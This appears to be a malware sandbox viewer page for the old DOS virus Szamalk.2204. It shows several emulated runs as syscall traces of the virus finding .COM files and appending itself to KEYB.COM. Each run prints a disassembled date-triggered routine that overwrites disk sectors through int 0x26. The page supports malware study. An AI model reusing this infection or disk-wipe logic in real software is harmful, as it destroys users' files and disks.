Sample viewer

vx.netlux.org/Virus.DOS.Szamalk.2204

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:35:43.267172645Z 26 PC: 12ec2 | Set disk transfer address
2018-12-17T22:35:43.268709365Z 42 PC: 12ec6 | Get date 0x12ec6: cmp cx, 0x7c8
0x12eca: jae 0x12ecf
0x12ecc: jmp 0x12f5a
0x12ecf: cmp dh, 9
0x12ed2: jae 0x12ed7
0x12ed4: jmp 0x12f5a
0x12ed7: cmp dl, 1
0x12eda: je 0x12ede
0x12edc: jmp 0x12f5a
0x12ede: nop
0x12edf: mov al, 2
0x12ee1: push ax
0x12ee2: mov cx, 0x80
0x12ee5: mov dx, word ptr [0x142]
0x12ee9: push ds
0x12eea: mov bx, 0
0x12eed: mov ds, bx
0x12eef: int 0x26
0x12ef1: popf
0x12ef2: pop ds
2018-12-17T22:35:43.271407816Z 53 PC: 12f62 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:35:43.272685708Z 37 PC: 12f78 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:35:43.274891845Z 78 PC: 12f8b | Find first file
2018-12-17T22:35:43.281866412Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.288259945Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.307553213Z 61 PC: 130e4 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:35:43.316795194Z 87 PC: 1320b | Get or set file date and time
2018-12-17T22:35:43.318677503Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:43.326201656Z 62 PC: 13102 | Close file
2018-12-17T22:35:43.331094755Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.353613363Z 79 PC: 12ff8 | Find next file
2018-12-17T22:35:43.35702584Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.365117767Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.376242137Z 61 PC: 130e4 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:35:43.384070372Z 87 PC: 1320b | Get or set file date and time
2018-12-17T22:35:43.386335978Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:43.399272941Z 62 PC: 13102 | Close file
2018-12-17T22:35:43.405177629Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.417452459Z 79 PC: 12ff8 | Find next file
2018-12-17T22:35:43.422564984Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.434015563Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.444997436Z 61 PC: 130e4 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:35:43.453313973Z 87 PC: 1320b | Get or set file date and time
2018-12-17T22:35:43.455170164Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:43.462608588Z 62 PC: 13102 | Close file
2018-12-17T22:35:43.465890367Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.477664539Z 79 PC: 12ff8 | Find next file
2018-12-17T22:35:43.480846516Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.488578761Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.498831039Z 61 PC: 130e4 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:35:43.506474169Z 87 PC: 1320b | Get or set file date and time
2018-12-17T22:35:43.50819833Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:43.515862743Z 62 PC: 13102 | Close file
2018-12-17T22:35:43.517752627Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.52917664Z 79 PC: 12ff8 | Find next file
2018-12-17T22:35:43.532977973Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.540249704Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.555953804Z 61 PC: 130e4 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:35:43.564614198Z 87 PC: 1320b | Get or set file date and time
2018-12-17T22:35:43.566868713Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:43.574562138Z 62 PC: 13102 | Close file
2018-12-17T22:35:43.578167047Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.589727003Z 79 PC: 12ff8 | Find next file
2018-12-17T22:35:43.593254521Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.600787858Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.612750178Z 61 PC: 130e4 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:35:43.620584128Z 87 PC: 1320b | Get or set file date and time
2018-12-17T22:35:43.622637513Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:43.631053182Z 62 PC: 13102 | Close file
2018-12-17T22:35:43.633440645Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.644751179Z 79 PC: 12ff8 | Find next file
2018-12-17T22:35:43.653631284Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:43.660922393Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:44.046567727Z 61 PC: 130e4 | Open file (Filename = 'PAH.COM')
2018-12-17T22:35:44.055459314Z 87 PC: 1320b | Get or set file date and time
2018-12-17T22:35:44.057380936Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:44.065040939Z 62 PC: 13102 | Close file
2018-12-17T22:35:44.067954932Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:44.086190054Z 79 PC: 12ff8 | Find next file
2018-12-17T22:35:44.090347592Z 78 PC: 12f8b | Find first file
2018-12-17T22:35:44.094685438Z 78 PC: 12f8b | Find first file
2018-12-17T22:35:44.105205384Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:44.114819275Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:44.538462387Z 61 PC: 130e4 | Open file (Filename = 'C:\DOS\EDIT.COM')
2018-12-17T22:35:44.547720148Z 87 PC: 1320b | Get or set file date and time
2018-12-17T22:35:44.549960109Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:44.557052704Z 62 PC: 13102 | Close file
2018-12-17T22:35:44.560333771Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:44.572119364Z 79 PC: 12ff8 | Find next file
2018-12-17T22:35:44.576098825Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:44.584233811Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:44.596998308Z 61 PC: 130e4 | Open file (Filename = 'C:\DOS\FORMAT.COM')
2018-12-17T22:35:44.602147626Z 87 PC: 1320b | Get or set file date and time
2018-12-17T22:35:44.60505106Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:44.612766176Z 62 PC: 13102 | Close file
2018-12-17T22:35:44.615191597Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:44.626415144Z 79 PC: 12ff8 | Find next file
2018-12-17T22:35:44.631273476Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:44.638824322Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:44.651593919Z 61 PC: 130e4 | Open file (Filename = 'C:\DOS\KEYB.COM')
2018-12-17T22:35:44.667598773Z 87 PC: 1320b | Get or set file date and time
2018-12-17T22:35:44.670391808Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:44.681452595Z 66 PC: 13201 | Move file pointer
2018-12-17T22:35:44.685695879Z 63 PC: 130f0 | Read file or device (Read 10 bytes on handle 5)
2018-12-17T22:35:44.694691578Z 66 PC: 13201 | Move file pointer
2018-12-17T22:35:44.696835726Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:44.701206215Z 66 PC: 13201 | Move file pointer
2018-12-17T22:35:44.70312727Z 62 PC: 13102 | Close file
2018-12-17T22:35:44.705867514Z 61 PC: 130e4 | Open file (Filename = 'C:\DOS\KEYB.COM')
2018-12-17T22:35:44.715961791Z 63 PC: 130f0 | Read file or device (Read 10 bytes on handle 5)
2018-12-17T22:35:44.719800275Z 62 PC: 13102 | Close file
2018-12-17T22:35:44.723306358Z 61 PC: 130e4 | Open file (Filename = 'C:\DOS\KEYB.COM')
2018-12-17T22:35:44.7321623Z 64 PC: 130f9 | Write file or device (Write 10 bytes on handle 5)
2018-12-17T22:35:44.736668667Z 66 PC: 13201 | Move file pointer
2018-12-17T22:35:44.738694632Z 64 PC: 130f9 | Write file or device (Write 13 bytes on handle 5)
2018-12-17T22:35:44.746249599Z 64 PC: 130f9 | Write file or device (Write 2204 bytes on handle 5)
2018-12-17T22:35:44.758844359Z 87 PC: 13225 | Get or set file date and time
2018-12-17T22:35:44.761069307Z 62 PC: 13102 | Close file
2018-12-17T22:35:44.769343133Z 67 PC: 13243 | Get or set file attributes
2018-12-17T22:35:44.781750129Z 37 PC: 130c6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:35:44.783486614Z 26 PC: 130db | Set disk transfer address
2018-12-17T22:35:44.785219811Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-17T22:35:44.792182664Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6449,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:22.79109459Z 26 PC: 12ec2 | Set disk transfer address
2018-12-25T11:59:22.794003303Z 42 PC: 12ec6 | Get date 0x12ec6: cmp cx, 0x7c8
0x12eca: jae 0x12ecf
0x12ecc: jmp 0x12f5a
0x12ecf: cmp dh, 9
0x12ed2: jae 0x12ed7
0x12ed4: jmp 0x12f5a
0x12ed7: cmp dl, 1
0x12eda: je 0x12ede
0x12edc: jmp 0x12f5a
0x12ede: nop
0x12edf: mov al, 2
0x12ee1: push ax
0x12ee2: mov cx, 0x80
0x12ee5: mov dx, word ptr [0x142]
0x12ee9: push ds
0x12eea: mov bx, 0
0x12eed: mov ds, bx
0x12eef: int 0x26
0x12ef1: popf
0x12ef2: pop ds
2018-12-25T11:59:22.796240036Z 53 PC: 12f62 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:59:22.797659641Z 37 PC: 12f78 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:59:22.799153849Z 78 PC: 12f8b | Find first file
2018-12-25T11:59:22.806166542Z 67 PC: 13243 | Get or set file attributes
2018-12-25T11:59:22.811677592Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.093575405Z 61 PC: 130e4 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:59:23.09883295Z 87 PC: 1320b | Get or set file date and time
2018-12-25T11:59:23.100344093Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:59:23.104400456Z 62 PC: 13102 | Close file
2018-12-25T11:59:23.106110626Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.118686147Z 79 PC: 12ff8 | Find next file
2018-12-25T11:59:23.121575458Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.129467481Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.141420128Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.148715849Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.165214812Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.171540713Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.174021964Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.186344728Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.189764819Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.201016998Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.213466375Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.220778311Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.222177626Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.229315092Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.233050538Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.245817122Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.249336231Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.256469306Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.267871598Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.274636456Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.277098189Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.283789911Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.285854896Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.296504328Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.299559996Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.305468559Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.315813234Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.328231808Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.329915927Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.337485927Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.33954873Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.349610395Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.353170271Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.358983482Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.368680258Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.376324526Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.377769893Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.38479333Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.387973057Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.397660738Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.400648865Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.406999388Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.416402522Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.422982745Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.425215459Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.431823289Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.433882304Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.445051865Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.447962734Z 78 PC: 12f8b | Find first file (See above)
2018-12-25T11:59:23.450179063Z 78 PC: 12f8b | Find first file (See above)
2018-12-25T11:59:23.460642079Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.466989005Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.8038317Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.811848543Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.81415484Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.820048933Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.822618583Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.832807769Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.836838824Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.84401245Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.855687395Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.863038552Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.864784927Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.871225607Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.8732543Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.883137317Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.887432435Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.893613255Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.903442235Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.912134596Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.913541603Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.919038264Z 66 PC: 13201 | Move file pointer
2018-12-25T11:59:23.921074822Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.927270147Z 66 PC: 13201 | Move file pointer (See above)
2018-12-25T11:59:23.929274914Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.932692596Z 66 PC: 13201 | Move file pointer (See above)
2018-12-25T11:59:23.934024973Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.935585086Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.942349431Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.945213085Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.947250108Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.955339108Z 64 PC: 130f9 | Write file or device (Write 10 bytes on handle 5)
2018-12-25T11:59:23.958407812Z 66 PC: 13201 | Move file pointer (See above)
2018-12-25T11:59:23.960098598Z 64 PC: 130f9 | Write file or device (See above)
2018-12-25T11:59:23.967403667Z 64 PC: 130f9 | Write file or device (See above)
2018-12-25T11:59:24.304474658Z 87 PC: 13225 | Get or set file date and time
2018-12-25T11:59:24.305879804Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:24.314074788Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.327907043Z 37 PC: 130c6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:59:24.329411156Z 26 PC: 130db | Set disk transfer address
2018-12-25T11:59:24.331598856Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T11:59:24.337549863Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":2,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6449,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:22.958299718Z 64 PC: 0 | Write file or device (Write 2 bytes on handle 1)
2018-12-25T11:59:22.964812434Z 41 PC: 94fae | Parse filename
2018-12-25T11:59:22.969751621Z 41 PC: 9502f | Parse filename
2018-12-25T11:59:22.9717628Z 41 PC: 9504c | Parse filename
2018-12-25T11:59:22.974501215Z 26 PC: 984f7 | Set disk transfer address
2018-12-25T11:59:22.978805704Z 71 PC: 986f3 | Get current directory
2018-12-25T11:59:22.98213813Z 78 PC: 986fe | Find first file
2018-12-25T11:59:22.993205066Z 71 PC: 986f3 | Get current directory (See above)
2018-12-25T11:59:22.998037961Z 78 PC: 986fe | Find first file (See above)
2018-12-25T11:59:23.009348866Z 64 PC: 9a848 | Write file or device (Write 26 bytes on handle 2)
2018-12-25T11:59:23.016089233Z 37 PC: 123c4 | Set interrupt vector (Interrupt = '34' AKA 'Random write')
2018-12-25T11:59:23.017466917Z 37 PC: 123cb | Set interrupt vector (Interrupt = '35' AKA 'Get file size in records')
2018-12-25T11:59:23.021570789Z 37 PC: 123d2 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:59:23.022818332Z 62 PC: 122ab | Close file
2018-12-25T11:59:23.024391091Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.026656045Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.028243352Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.029847336Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.032428323Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.034009451Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.035563219Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.037243582Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.038833027Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.040482838Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.042063301Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.044656237Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.046373209Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.048181927Z 62 PC: 122ab | Close file (See above)
2018-12-25T11:59:23.05132835Z 99 PC: 9a5d7 | Get DBCS lead byte table pointer
2018-12-25T11:59:23.052728659Z 56 PC: 94df9 | Get or set country info
2018-12-25T11:59:23.054774667Z 64 PC: 9a848 | Write file or device (See above)
2018-12-25T11:59:23.060615325Z 25 PC: 94e62 | Get default drive
2018-12-25T11:59:23.062337074Z 71 PC: 970dd | Get current directory
2018-12-25T11:59:23.074116339Z 64 PC: 9a848 | Write file or device (See above)
2018-12-25T11:59:23.077818821Z 2 PC: 970b2 | Character output (Char = '3e')
2018-12-25T11:59:23.092535717Z 93 PC: 94f20 | File sharing functions
2018-12-25T11:59:23.094307157Z 93 PC: 94f27 | File sharing functions
2018-12-25T11:59:23.099543897Z 10 PC: 94f39 | Buffered keyboard input
2018-12-25T11:59:38.004913437Z 0 PC: 0 | Program terminate (See above)
2018-12-25T11:59:39.359758694Z 0 PC: 0 | Program terminate (See above)
2018-12-25T11:59:39.462624582Z 64 PC: 9a848 | Write file or device (See above)
2018-12-25T11:59:39.470163382Z 41 PC: 94fae | Parse filename (See above)
2018-12-25T11:59:39.472584254Z 41 PC: 9502f | Parse filename (See above)
2018-12-25T11:59:39.47671581Z 41 PC: 9504c | Parse filename (See above)
2018-12-25T11:59:39.478920214Z 26 PC: 984f7 | Set disk transfer address (See above)
2018-12-25T11:59:39.480543938Z 71 PC: 986f3 | Get current directory (See above)
2018-12-25T11:59:39.489724126Z 78 PC: 986fe | Find first file (See above)
2018-12-25T11:59:39.500393393Z 71 PC: 9856c | Get current directory
2018-12-25T11:59:39.503797721Z 73 PC: 97c09 | Release memory
2018-12-25T11:59:39.511528001Z 75 PC: 11821 | Execute program
2018-12-25T11:59:39.526269828Z 9 PC: 12a47 | Display string (String= 'Hello, World! ')
2018-12-25T11:59:39.530537814Z 76 PC: 12a4b | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":10,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6449,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:23.056409075Z 26 PC: 12ec2 | Set disk transfer address
2018-12-25T11:59:23.059049995Z 42 PC: 12ec6 | Get date 0x12ec6: cmp cx, 0x7c8
0x12eca: jae 0x12ecf
0x12ecc: jmp 0x12f5a
0x12ecf: cmp dh, 9
0x12ed2: jae 0x12ed7
0x12ed4: jmp 0x12f5a
0x12ed7: cmp dl, 1
0x12eda: je 0x12ede
0x12edc: jmp 0x12f5a
0x12ede: nop
0x12edf: mov al, 2
0x12ee1: push ax
0x12ee2: mov cx, 0x80
0x12ee5: mov dx, word ptr [0x142]
0x12ee9: push ds
0x12eea: mov bx, 0
0x12eed: mov ds, bx
0x12eef: int 0x26
0x12ef1: popf
0x12ef2: pop ds
2018-12-25T11:59:23.073445563Z 53 PC: 12f62 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:59:23.075221136Z 37 PC: 12f78 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:59:23.07700559Z 78 PC: 12f8b | Find first file
2018-12-25T11:59:23.085357538Z 67 PC: 13243 | Get or set file attributes
2018-12-25T11:59:23.092685144Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.113521585Z 61 PC: 130e4 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:59:23.123501526Z 87 PC: 1320b | Get or set file date and time
2018-12-25T11:59:23.127689283Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:59:23.146906223Z 62 PC: 13102 | Close file
2018-12-25T11:59:23.152673557Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.20973079Z 79 PC: 12ff8 | Find next file
2018-12-25T11:59:23.213227276Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.22808409Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.241739023Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.250733527Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.254218636Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.264894334Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.267280682Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.28121432Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.286980711Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.293744022Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.305480834Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.314133444Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.315950553Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.324122767Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.328096228Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.339832072Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.342970679Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.349941737Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.363046824Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.370914245Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.373106186Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.380415961Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.382453387Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.394677238Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.399566277Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.408635021Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.489918101Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.498338908Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.500168744Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.519861479Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.524608457Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.537936289Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.541529705Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.549708017Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.56893295Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.589962606Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.593311263Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.601816224Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.604039436Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.628332917Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.631839509Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.638608351Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.659820536Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.669341976Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.671405536Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.682801788Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.685630167Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.697060781Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.700356769Z 78 PC: 12f8b | Find first file (See above)
2018-12-25T11:59:23.703213384Z 78 PC: 12f8b | Find first file (See above)
2018-12-25T11:59:23.713561469Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.720690216Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.065066481Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:24.071066794Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:24.073385461Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:24.080849646Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:24.083801002Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.094860401Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:24.098872687Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.106751715Z 67 PC: 13243 | Get or set file attributes (See above)
